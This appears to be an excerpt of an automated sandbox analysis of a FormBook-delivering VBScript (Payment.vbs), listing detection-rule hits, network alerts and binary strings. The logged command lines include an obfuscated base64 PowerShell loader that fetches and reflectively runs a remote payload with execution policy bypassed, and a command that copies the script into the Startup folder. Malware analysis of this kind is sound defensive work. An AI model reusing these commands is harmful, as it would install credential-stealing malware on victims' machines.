'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCc

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs", ProcessId: 6408, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLi

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs", ProcessId: 6408, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')'), CommandLine: powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')'), CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')'), ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4176, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')'), ProcessId: 1584, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5708, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T14:53:18.957774+0200	2855465	1	A Network Trojan was detected	192.168.2.6	50000	199.59.243.227	80	TCP

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T14:52:32.604028+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.6	49842	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected FormBook

Source: Yara match	File source: 10.2.appidtel.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.appidtel.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3538540839.00000000049D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2728680734.0000000004690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2728578874.0000000003C20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2976888806.00000000033F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3536826392.00000000038F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2976926414.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.6:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49842 version: TLS 1.2

Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000008.00000002.2502842295.00007FFD34860000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: appidtel.exe, appidtel.exe, 0000000A.00000003.2629248061.0000000003729000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000003.2627277075.000000000357A000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000002.2727778625.0000000003A6E000.00000040.00001000.00020000.00000000.sdmp, convert.exe, convert.exe, 00000013.00000003.2729543157.00000000032CB000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000003.2733109530.00000000034B8000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: appidtel.pdb source: convert.exe, 00000013.00000002.2977602776.0000000003C8C000.00000004.10000000.00040000.00000000.sdmp, convert.exe, 00000013.00000002.2974673632.0000000002F44000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3537079576.000000000259C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3534781987.000000002F20C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: appidtel.exe, 0000000A.00000003.2629248061.0000000003729000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000003.2627277075.000000000357A000.00000004.00000020.00020000.00000000.sdmp, appidtel.exe, 0000000A.00000002.2727778625.0000000003A6E000.00000040.00001000.00020000.00000000.sdmp, convert.exe, 00000013.00000003.2729543157.00000000032CB000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000003.2733109530.00000000034B8000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977110762.00000000037FE000.00000040.00001000.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2977110762.0000000003660000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: convert.pdb source: appidtel.exe, 0000000A.00000002.2727615136.00000000033A7000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000002.3536147480.0000000001288000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000003.2670887482.000000000129B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17K source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000008.00000002.2502842295.00007FFD34860000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: convert.pdbGCTL source: appidtel.exe, 0000000A.00000002.2727615136.00000000033A7000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000002.3536147480.0000000001288000.00000004.00000020.00020000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000003.2670887482.000000000129B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dnlib.pdb source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000008.00000002.2445760088.000001B5F828C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2482456341.000001B5FFB40000.00000004.08000000.00040000.00000000.sdmp
